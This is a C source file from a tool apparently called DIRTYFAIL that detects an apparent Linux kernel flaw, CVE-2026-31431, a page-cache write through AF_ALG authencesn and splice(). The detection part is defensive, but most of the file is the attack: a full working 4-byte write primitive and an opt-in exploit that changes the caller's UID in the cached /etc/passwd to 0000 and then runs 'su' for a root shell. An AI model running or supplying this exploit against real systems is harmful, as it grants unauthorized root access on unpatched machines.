/* * DIRTYFAIL — copyfail.c — CVE-2026-31431 ("Copy Fail") * * Detector + opt-in PoC. * * BACKGROUND * ---------- * The Linux kernel's authencesn(hmac(sha256), cbc(aes)) AEAD template * performs a 4-byte "scratch" copy at the end of its destination * scatterlist as part of moving the ESN sequence-number high bits * around. The crypto code assumes src and dst point at kernel-private * memory. They do — except when the AF_ALG socket family is used: * algif_aead lets userspace splice() pages into the request, and the * AEAD primitive runs in-place. By splicing a page-cache page from a * readable file into the request, the scratch write lands in that page * cache. The on-disk file is untouched, but the kernel (and every * subsequent reader) sees the modified copy until the page is evicted. * * The 4 bytes that get written are bytes 4..7 of the AAD ("seqno_lo" * in the ESP header layout), which userspace controls directly. Net * result: an unprivileged 4-byte arbitrary-offset write into any * world-readable file's page cache. * * DETECTION STRATEGY * ------------------ * We never touch system files in detection. Instead we: * 1. Confirm AF_ALG + authencesn(...) can be instantiated. * 2. Create a sentinel file in $TMPDIR and fault its first page in. * 3. Run the exact primitive against the sentinel file with a * recognizable marker ("PWND") in seqno_lo. * 4. Re-read the sentinel and look for the marker bytes. * * If the marker shows up: the kernel just wrote attacker-controlled * bytes into a page-cache page over an unmodified disk file. That is * the entire vulnerability. Vulnerable. * * EXPLOIT STRATEGY * ---------------- * /etc/passwd is world-readable and contains a 4-digit UID for normal * users (1000-9999). Flipping that UID to "0000" in the page cache * makes glibc's getpwnam() report uid=0 for our user. PAM (which still * checks /etc/shadow on disk, untouched) accepts the real password, * and then setuid(0) lands us at root. Single 4-byte write, fully * reversible with POSIX_FADV_DONTNEED. */ #include "copyfail.h" #include #include #include #include /* These macros come from on Linux but vary across libcs. */ #ifndef MSG_MORE #define MSG_MORE 0x8000 #endif #ifdef __linux__ extern ssize_t splice(int, loff_t *, int, loff_t *, size_t, unsigned int); #else /* macOS analysis stub — never called at runtime. */ static ssize_t splice(int a, void *b, int c, void *d, size_t e, unsigned f) { (void)a; (void)b; (void)c; (void)d; (void)e; (void)f; errno = ENOSYS; return -1; } #endif #define PAGE 4096 #define ASSOCLEN 8 /* SPI(4) || seqno_lo(4) */ #define CRYPTLEN 16 /* one AES block */ #define TAGLEN 16 /* truncated HMAC-SHA256 */ #define SPLICE_LEN (CRYPTLEN + TAGLEN) #define ALG_NAME "authencesn(hmac(sha256),cbc(aes))" #define MARKER_STR "PWND" /* ---------------------------------------------------------------- * * af_alg_setup_socket() * * Creates the master AF_ALG socket, binds it to authencesn, sets a * zero key (auth+enc), and accept(2)s an op socket. Returns the op fd * (or -1 with errno set). On success the master fd is closed before * return — we only need the op socket for the actual transaction. * ---------------------------------------------------------------- */ static int af_alg_setup_socket(void) { int master = socket(AF_ALG, SOCK_SEQPACKET, 0); if (master < 0) return -1; struct sockaddr_alg_compat sa = { .salg_family = AF_ALG }; strncpy((char *)sa.salg_type, "aead", sizeof(sa.salg_type) - 1); strncpy((char *)sa.salg_name, ALG_NAME, sizeof(sa.salg_name) - 1); if (bind(master, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(master); return -1; } /* Auth key (HMAC-SHA256) is 32 bytes; cipher key (AES-128) is 16. * We pick zero for both — auth verification will fail at the end * (EBADMSG), but the buggy scratch-write fires *before* that, so * the page-cache modification persists either way. */ unsigned char auth[32] = {0}, enc[16] = {0}; unsigned char keyblob[8 + 32 + 16]; size_t keylen = build_authenc_keyblob(keyblob, auth, 32, enc, 16); if (setsockopt(master, SOL_ALG, ALG_SET_KEY, keyblob, keylen) < 0) { close(master); return -1; } int op = accept(master, NULL, NULL); int saved = errno; close(master); errno = saved; return op; } /* ---------------------------------------------------------------- * * af_alg_send_aad() * * Sends per-op control messages (decrypt, IV, assoclen=8) plus the * AAD itself with MSG_MORE. AAD layout: * * bytes 0..3 SPI (we leave zero — the kernel doesn't care) * bytes 4..7 seqno_lo (this is the 4 bytes that get STOREd) * * Returns true on success. * ---------------------------------------------------------------- */ static bool af_alg_send_aad(int op, const unsigned char four_bytes[4]) { unsigned char aad[ASSOCLEN] = { 0 }; memcpy(aad + 4, four_bytes, 4); unsigned int op_decrypt = ALG_OP_DECRYPT; unsigned int assoclen = ASSOCLEN; unsigned char iv[20]; /* u32 ivlen + 16-byte IV */ *(uint32_t *)iv = 16; memset(iv + 4, 0, 16); /* CMSG_SPACE values for: ALG_SET_OP(u32), ALG_SET_IV(u32+16), ALG_SET_ASSOCLEN(u32). */ union { char buf[CMSG_SPACE(sizeof(unsigned int)) + CMSG_SPACE(20) + CMSG_SPACE(sizeof(unsigned int))]; struct cmsghdr align; } ctrl; memset(&ctrl, 0, sizeof(ctrl)); struct iovec iov = { .iov_base = aad, .iov_len = ASSOCLEN }; struct msghdr msg = { .msg_iov = &iov, .msg_iovlen = 1, .msg_control = ctrl.buf, .msg_controllen = sizeof(ctrl.buf), }; struct cmsghdr *cm = CMSG_FIRSTHDR(&msg); cm->cmsg_len = CMSG_LEN(sizeof(unsigned int)); cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_OP; memcpy(CMSG_DATA(cm), &op_decrypt, sizeof(op_decrypt)); cm = CMSG_NXTHDR(&msg, cm); cm->cmsg_len = CMSG_LEN(20); cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_IV; memcpy(CMSG_DATA(cm), iv, 20); cm = CMSG_NXTHDR(&msg, cm); cm->cmsg_len = CMSG_LEN(sizeof(unsigned int)); cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_AEAD_ASSOCLEN; memcpy(CMSG_DATA(cm), &assoclen, sizeof(assoclen)); return sendmsg(op, &msg, MSG_MORE) >= 0; } /* ---------------------------------------------------------------- * * cf_4byte_write() * * The whole primitive in one function: open the target, force its * page into the cache, set up an AF_ALG op socket, send AAD with our * controlled 4 bytes, splice 32 bytes from the target file into the * op socket (the kernel uses those page-cache pages as the *destination* * of the in-place AEAD), then drive the op via recv() so that the * scratch-write fires. * * `four_bytes` lands at file offset `target_off` of the cached page. * Returns true on success (with errno cleared) — but "success" here * just means "the syscalls completed". Whether the write actually * landed must be confirmed by the caller via a read-back. * ---------------------------------------------------------------- */ bool cf_4byte_write(const char *target_path, off_t target_off, const unsigned char four_bytes[4]) { int target_fd = open_and_cache(target_path); if (target_fd < 0) { log_bad("open %s: %s", target_path, strerror(errno)); return false; } int op = af_alg_setup_socket(); if (op < 0) { log_bad("AF_ALG setup: %s", strerror(errno)); close(target_fd); return false; } if (!af_alg_send_aad(op, four_bytes)) { log_bad("sendmsg AAD: %s", strerror(errno)); close(op); close(target_fd); return false; } int pipefd[2]; if (pipe(pipefd) < 0) { log_bad("pipe: %s", strerror(errno)); close(op); close(target_fd); return false; } /* file -> pipe: 32 bytes from offset target_off (CRYPTLEN+TAGLEN). */ off_t off = target_off; ssize_t n1 = splice(target_fd, &off, pipefd[1], NULL, SPLICE_LEN, 0); if (n1 != SPLICE_LEN) { log_bad("splice file->pipe: got %zd want %d (%s)", n1, SPLICE_LEN, strerror(errno)); close(pipefd[0]); close(pipefd[1]); close(op); close(target_fd); return false; } /* pipe -> op socket: kernel now has page-cache pages in dst SGL. */ ssize_t n2 = splice(pipefd[0], NULL, op, NULL, SPLICE_LEN, 0); close(pipefd[0]); close(pipefd[1]); if (n2 != SPLICE_LEN) { log_bad("splice pipe->op: got %zd want %d (%s)", n2, SPLICE_LEN, strerror(errno)); close(op); close(target_fd); return false; } /* Drive the AEAD. recv will fail with EBADMSG (auth check fails on * our zero key + zero ciphertext); the scratch write has already * happened by then. */ unsigned char drain[256]; ssize_t r = recv(op, drain, sizeof(drain), 0); int saved = errno; (void)r; close(op); close(target_fd); errno = (saved == EBADMSG || saved == EINVAL || r >= 0) ? 0 : saved; return errno == 0; } /* ---------------------------------------------------------------- * * Detection * ---------------------------------------------------------------- */ df_result_t copyfail_detect(void) { log_step("Copy Fail (CVE-2026-31431) — detection"); int km = -1, kn = -1; if (kernel_version(&km, &kn)) log_hint("kernel %d.%d.x (affected lines: 6.12, 6.17, 6.18)", km, kn); /* Probe AF_ALG availability and instantiation of authencesn. */ int probe = socket(AF_ALG, SOCK_SEQPACKET, 0); if (probe < 0) { log_ok("AF_ALG socket family unavailable (%s) — NOT vulnerable", strerror(errno)); return DF_PRECOND_FAIL; } struct sockaddr_alg_compat sa = { .salg_family = AF_ALG }; strncpy((char *)sa.salg_type, "aead", sizeof(sa.salg_type) - 1); strncpy((char *)sa.salg_name, ALG_NAME, sizeof(sa.salg_name) - 1); if (bind(probe, (struct sockaddr *)&sa, sizeof(sa)) < 0) { log_ok("authencesn template not loadable (%s) — NOT vulnerable", strerror(errno)); close(probe); return DF_PRECOND_FAIL; } close(probe); log_ok("AF_ALG + %s loadable", ALG_NAME); /* Sentinel file probe. */ char tmpl[] = "/tmp/copyfail-sentinel.XXXXXX"; int sfd = mkstemp(tmpl); if (sfd < 0) { log_bad("mkstemp: %s", strerror(errno)); return DF_TEST_ERROR; } unsigned char sentinel[PAGE]; for (size_t i = 0; i < PAGE; i += 32) memcpy(sentinel + i, "COPYFAIL-SENTINEL-UNCORRUPTED!!\n", 32); if (write(sfd, sentinel, PAGE) != PAGE) { log_bad("sentinel write: %s", strerror(errno)); close(sfd); unlink(tmpl); return DF_TEST_ERROR; } close(sfd); log_step("triggering primitive against %s with marker '%s'", tmpl, MARKER_STR); if (!cf_4byte_write(tmpl, 0, (const unsigned char *)MARKER_STR)) { unlink(tmpl); return DF_TEST_ERROR; } /* Re-read the sentinel via a fresh fd (page cache, not disk). */ int rfd = open(tmpl, O_RDONLY); if (rfd < 0) { unlink(tmpl); return DF_TEST_ERROR; } unsigned char after[PAGE]; ssize_t got = read(rfd, after, PAGE); close(rfd); unlink(tmpl); if (got != PAGE) return DF_TEST_ERROR; /* Look for the marker. We expect it to land somewhere inside the * 32-byte spliced region (offsets 0..31). */ unsigned char *hit = memmem(after, 32, MARKER_STR, 4); bool orig_has_marker = memmem(sentinel, 32, MARKER_STR, 4) != NULL; if (hit && !orig_has_marker) { size_t off = hit - after; log_warn("VULNERABLE — marker '%s' landed at sentinel offset %zu", MARKER_STR, off); log_warn("apply the upstream fix (commit a664bf3d or distro backport)"); log_warn("interim mitigation: blacklist the algif_aead module"); return DF_VULNERABLE; } /* Sometimes the layout puts the scratch write outside the first * 32 bytes; check the whole page for ANY divergence. */ size_t diff_count = 0, first_diff = (size_t)-1; for (size_t i = 0; i < PAGE; i++) { if (after[i] != sentinel[i]) { if (first_diff == (size_t)-1) first_diff = i; diff_count++; } } if (diff_count > 0) { log_warn("page cache MODIFIED (%zu bytes changed, first at offset %zu)", diff_count, first_diff); log_warn("the marker layout differs but the underlying bug class " "still allowed a page-cache page into the AEAD dst SGL"); return DF_VULNERABLE; } log_ok("page cache intact — NOT vulnerable on this kernel"); return DF_OK; } /* ---------------------------------------------------------------- * * Exploit * ---------------------------------------------------------------- */ df_result_t copyfail_exploit(bool do_shell) { log_step("Copy Fail (CVE-2026-31431) — exploit"); /* Resolve the calling user. We deliberately do not exploit as * root or for arbitrary users — only the user who ran us. */ uid_t uid = getuid(); if (uid == 0) { log_warn("already root — nothing to escalate"); return DF_OK; } struct passwd *pw = getpwuid(uid); if (!pw) { log_bad("getpwuid(%u): %s", uid, strerror(errno)); return DF_TEST_ERROR; } const char *user = pw->pw_name; log_step("target user: %s (uid %u)", user, uid); off_t uid_off = 0; size_t uid_len = 0; char uid_str[16]; if (!find_passwd_uid_field(user, &uid_off, &uid_len, uid_str)) { log_bad("could not find %s in /etc/passwd", user); return DF_TEST_ERROR; } log_step("/etc/passwd: UID field at offset %lld = '%s' (%zu chars)", (long long)uid_off, uid_str, uid_len); if (uid_len != 4) { log_bad("this technique needs a 4-digit UID; got '%s' (%zu chars)", uid_str, uid_len); log_hint("either pick a different user with a 4-digit UID, or use " "the multi-shot variant (not implemented in DIRTYFAIL)."); return DF_TEST_ERROR; } log_warn("about to flip /etc/passwd page cache: '%s' -> '0000'", uid_str); log_warn("on-disk file is unchanged. cleanup options:"); log_warn(" 1) DIRTYFAIL --cleanup (POSIX_FADV_DONTNEED + drop_caches)"); log_warn(" 2) echo 3 > /proc/sys/vm/drop_caches (from root)"); log_warn(" 3) reboot"); if (!typed_confirm("DIRTYFAIL")) { log_bad("confirmation declined — aborting"); return DF_OK; } if (!ssh_lockout_check(user)) { log_bad("SSH-lockout confirmation declined — aborting"); return DF_OK; } log_step("issuing 4-byte page-cache write..."); if (!cf_4byte_write("/etc/passwd", uid_off, (const unsigned char *)"0000")) { log_bad("primitive failed"); return DF_EXPLOIT_FAIL; } /* Verify via a fresh read against the page cache. */ int v = open("/etc/passwd", O_RDONLY); if (v < 0) { log_bad("verify open: %s", strerror(errno)); return DF_EXPLOIT_FAIL; } if (lseek(v, uid_off, SEEK_SET) != uid_off) { close(v); return DF_EXPLOIT_FAIL; } char land[5] = {0}; if (read(v, land, 4) != 4) { close(v); return DF_EXPLOIT_FAIL; } close(v); if (memcmp(land, "0000", 4) != 0) { log_bad("write did not land — page cache reads '%.4s'", land); return DF_EXPLOIT_FAIL; } log_ok("page cache now reports %s with uid 0", user); /* Sanity check via libc — getpwnam() walks NSS, which on most * systems hits files first, so this should agree with our patch. */ struct passwd *p = getpwnam(user); if (p) log_step("getpwnam('%s').pw_uid = %u", user, p->pw_uid); if (!do_shell) { if (dirtyfail_no_revert) { log_warn("--no-revert: leaving page cache poisoned (run " "`dirtyfail --cleanup` or reboot to revert)"); return DF_EXPLOIT_OK; } log_hint("--no-shell selected; reverting page cache"); if (try_revert_passwd_page_cache()) log_ok("page cache reverted"); else log_warn("page cache may still be modified — `sudo dirtyfail --cleanup` or reboot"); return DF_EXPLOIT_OK; } log_ok("invoking 'su %s' — enter your own password to drop into a root shell", user); log_hint("after exit, run DIRTYFAIL --cleanup or reboot"); execlp("su", "su", user, (char *)NULL); log_bad("execlp su: %s", strerror(errno)); return DF_EXPLOIT_FAIL; }